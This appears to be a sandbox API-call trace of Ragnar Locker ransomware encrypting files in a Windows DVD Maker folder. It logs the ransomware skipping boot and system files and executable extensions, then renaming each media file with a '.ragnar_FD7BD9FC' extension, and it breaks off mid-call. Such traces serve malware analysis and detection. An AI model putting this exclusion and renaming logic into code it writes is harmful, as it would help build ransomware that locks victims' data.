[0078.766] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="bootmgr") returned 1 [0078.766] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="bootmgr.efi") returned 1 [0078.766] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="bootmgfw.efi") returned 1 [0078.766] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="desktop.ini") returned 1 [0078.766] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="iconcache.db") returned -1 [0078.766] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="ntldr") returned -1 [0078.766] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="ntuser.dat") returned -1 [0078.766] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="ntuser.dat.log") returned -1 [0078.766] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="ntuser.ini") returned -1 [0078.766] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="thumbs.db") returned -1 [0078.766] lstrcmpiW (lpString1=".wmv", lpString2=".db") returned 1 [0078.767] lstrcmpiW (lpString1=".wmv", lpString2=".sys") returned 1 [0078.767] lstrcmpiW (lpString1=".wmv", lpString2=".dll") returned 1 [0078.767] lstrcmpiW (lpString1=".wmv", lpString2=".lnk") returned 1 [0078.767] lstrcmpiW (lpString1=".wmv", lpString2=".msi") returned 1 [0078.767] lstrcmpiW (lpString1=".wmv", lpString2=".drv") returned 1 [0078.767] lstrcmpiW (lpString1=".wmv", lpString2=".exe") returned 1 [0078.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv")) returned 0x20 [0078.770] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.770] CloseHandle (hObject=0xffffffff) returned 0 [0078.770] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" [0078.770] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv.ragnar_FD7BD9FC" [0078.770] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.770] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14cd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_PreComp_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0078.770] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.770] lstrcpyW (in: lpString1=0x1eab5a, lpString2="flower_PreComp_MATTE_PAL.wmv" | out: lpString1="flower_PreComp_MATTE_PAL.wmv") returned="flower_PreComp_MATTE_PAL.wmv" [0078.770] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv") returned=".wmv" [0078.770] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.770] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="autorun.inf") returned 1 [0078.770] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="boot.ini") returned 1 [0078.770] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="bootfont.bin") returned 1 [0078.770] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="bootsect.bak") returned 1 [0078.770] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="bootmgr") returned 1 [0078.770] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="bootmgr.efi") returned 1 [0078.770] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="bootmgfw.efi") returned 1 [0078.770] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="desktop.ini") returned 1 [0078.770] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="iconcache.db") returned -1 [0078.770] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="ntldr") returned -1 [0078.770] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="ntuser.dat") returned -1 [0078.770] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="ntuser.dat.log") returned -1 [0078.770] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="ntuser.ini") returned -1 [0078.770] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="thumbs.db") returned -1 [0078.771] lstrcmpiW (lpString1=".wmv", lpString2=".db") returned 1 [0078.771] lstrcmpiW (lpString1=".wmv", lpString2=".sys") returned 1 [0078.771] lstrcmpiW (lpString1=".wmv", lpString2=".dll") returned 1 [0078.771] lstrcmpiW (lpString1=".wmv", lpString2=".lnk") returned 1 [0078.771] lstrcmpiW (lpString1=".wmv", lpString2=".msi") returned 1 [0078.771] lstrcmpiW (lpString1=".wmv", lpString2=".drv") returned 1 [0078.771] lstrcmpiW (lpString1=".wmv", lpString2=".exe") returned 1 [0078.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv")) returned 0x20 [0078.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.771] CloseHandle (hObject=0xffffffff) returned 0 [0078.771] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" [0078.771] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv.ragnar_FD7BD9FC" [0078.771] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.771] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b788b6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b788b6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x26618, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_matte.wmv", cAlternateFileName="")) returned 1 [0078.771] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.771] lstrcpyW (in: lpString1=0x1eab5a, lpString2="flower_trans_matte.wmv" | out: lpString1="flower_trans_matte.wmv") returned="flower_trans_matte.wmv" [0078.771] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv") returned=".wmv" [0078.771] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.771] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="autorun.inf") returned 1 [0078.771] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="boot.ini") returned 1 [0078.771] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="bootfont.bin") returned 1 [0078.771] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="bootsect.bak") returned 1 [0078.771] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="bootmgr") returned 1 [0078.771] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="bootmgr.efi") returned 1 [0078.772] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="bootmgfw.efi") returned 1 [0078.772] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="desktop.ini") returned 1 [0078.772] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="iconcache.db") returned -1 [0078.772] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="ntldr") returned -1 [0078.772] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="ntuser.dat") returned -1 [0078.772] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="ntuser.dat.log") returned -1 [0078.772] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="ntuser.ini") returned -1 [0078.772] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="thumbs.db") returned -1 [0078.772] lstrcmpiW (lpString1=".wmv", lpString2=".db") returned 1 [0078.772] lstrcmpiW (lpString1=".wmv", lpString2=".sys") returned 1 [0078.772] lstrcmpiW (lpString1=".wmv", lpString2=".dll") returned 1 [0078.772] lstrcmpiW (lpString1=".wmv", lpString2=".lnk") returned 1 [0078.772] lstrcmpiW (lpString1=".wmv", lpString2=".msi") returned 1 [0078.772] lstrcmpiW (lpString1=".wmv", lpString2=".drv") returned 1 [0078.772] lstrcmpiW (lpString1=".wmv", lpString2=".exe") returned 1 [0078.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv")) returned 0x20 [0078.772] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.772] CloseHandle (hObject=0xffffffff) returned 0 [0078.772] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" [0078.772] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv.ragnar_FD7BD9FC" [0078.772] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.773] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b9ea13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b9ea13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x28558, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0078.773] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.773] lstrcpyW (in: lpString1=0x1eab5a, lpString2="flower_trans_MATTE_PAL.wmv" | out: lpString1="flower_trans_MATTE_PAL.wmv") returned="flower_trans_MATTE_PAL.wmv" [0078.773] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv") returned=".wmv" [0078.773] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.773] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="autorun.inf") returned 1 [0078.773] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="boot.ini") returned 1 [0078.773] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="bootfont.bin") returned 1 [0078.773] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="bootsect.bak") returned 1 [0078.773] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="bootmgr") returned 1 [0078.773] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="bootmgr.efi") returned 1 [0078.773] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="bootmgfw.efi") returned 1 [0078.773] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="desktop.ini") returned 1 [0078.773] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="iconcache.db") returned -1 [0078.773] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="ntldr") returned -1 [0078.773] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="ntuser.dat") returned -1 [0078.773] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="ntuser.dat.log") returned -1 [0078.773] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="ntuser.ini") returned -1 [0078.773] lstrcmpiW (lpString1="flower_trans_MATTE_PAL.wmv", lpString2="thumbs.db") returned -1 [0078.773] lstrcmpiW (lpString1=".wmv", lpString2=".db") returned 1 [0078.773] lstrcmpiW (lpString1=".wmv", lpString2=".sys") returned 1 [0078.773] lstrcmpiW (lpString1=".wmv", lpString2=".dll") returned 1 [0078.773] lstrcmpiW (lpString1=".wmv", lpString2=".lnk") returned 1 [0078.773] lstrcmpiW (lpString1=".wmv", lpString2=".msi") returned 1 [0078.773] lstrcmpiW (lpString1=".wmv", lpString2=".drv") returned 1 [0078.773] lstrcmpiW (lpString1=".wmv", lpString2=".exe") returned 1 [0078.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv")) returned 0x20 [0078.773] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.774] CloseHandle (hObject=0xffffffff) returned 0 [0078.774] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" [0078.774] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv.ragnar_FD7BD9FC" [0078.774] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_MATTE_PAL.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte_pal.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.774] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b0649f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b0649f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b44779d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e31e, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_rgb.wmv", cAlternateFileName="")) returned 1 [0078.774] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.774] lstrcpyW (in: lpString1=0x1eab5a, lpString2="flower_trans_rgb.wmv" | out: lpString1="flower_trans_rgb.wmv") returned="flower_trans_rgb.wmv" [0078.774] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv") returned=".wmv" [0078.774] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.774] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="autorun.inf") returned 1 [0078.774] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="boot.ini") returned 1 [0078.774] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="bootfont.bin") returned 1 [0078.774] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="bootsect.bak") returned 1 [0078.774] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="bootmgr") returned 1 [0078.774] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="bootmgr.efi") returned 1 [0078.774] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="bootmgfw.efi") returned 1 [0078.774] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="desktop.ini") returned 1 [0078.774] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="iconcache.db") returned -1 [0078.774] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="ntldr") returned -1 [0078.774] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="ntuser.dat") returned -1 [0078.774] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="ntuser.dat.log") returned -1 [0078.774] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="ntuser.ini") returned -1 [0078.774] lstrcmpiW (lpString1="flower_trans_rgb.wmv", lpString2="thumbs.db") returned -1 [0078.774] lstrcmpiW (lpString1=".wmv", lpString2=".db") returned 1 [0078.774] lstrcmpiW (lpString1=".wmv", lpString2=".sys") returned 1 [0078.774] lstrcmpiW (lpString1=".wmv", lpString2=".dll") returned 1 [0078.774] lstrcmpiW (lpString1=".wmv", lpString2=".lnk") returned 1 [0078.774] lstrcmpiW (lpString1=".wmv", lpString2=".msi") returned 1 [0078.774] lstrcmpiW (lpString1=".wmv", lpString2=".drv") returned 1 [0078.774] lstrcmpiW (lpString1=".wmv", lpString2=".exe") returned 1 [0078.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv")) returned 0x20 [0078.775] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.775] CloseHandle (hObject=0xffffffff) returned 0 [0078.775] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" [0078.775] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv.ragnar_FD7BD9FC" [0078.775] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_rgb.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_rgb.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.775] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b2c5fc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b2c5fc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5c4549, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39e98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_trans_RGB_PAL.wmv", cAlternateFileName="")) returned 1 [0078.776] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.776] lstrcpyW (in: lpString1=0x1eab5a, lpString2="flower_trans_RGB_PAL.wmv" | out: lpString1="flower_trans_RGB_PAL.wmv") returned="flower_trans_RGB_PAL.wmv" [0078.776] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_RGB_PAL.wmv") returned=".wmv" [0078.776] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.776] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", lpString2="autorun.inf") returned 1 [0078.776] lstrcmpiW (lpString1="flower_trans_RGB_PAL.wmv", 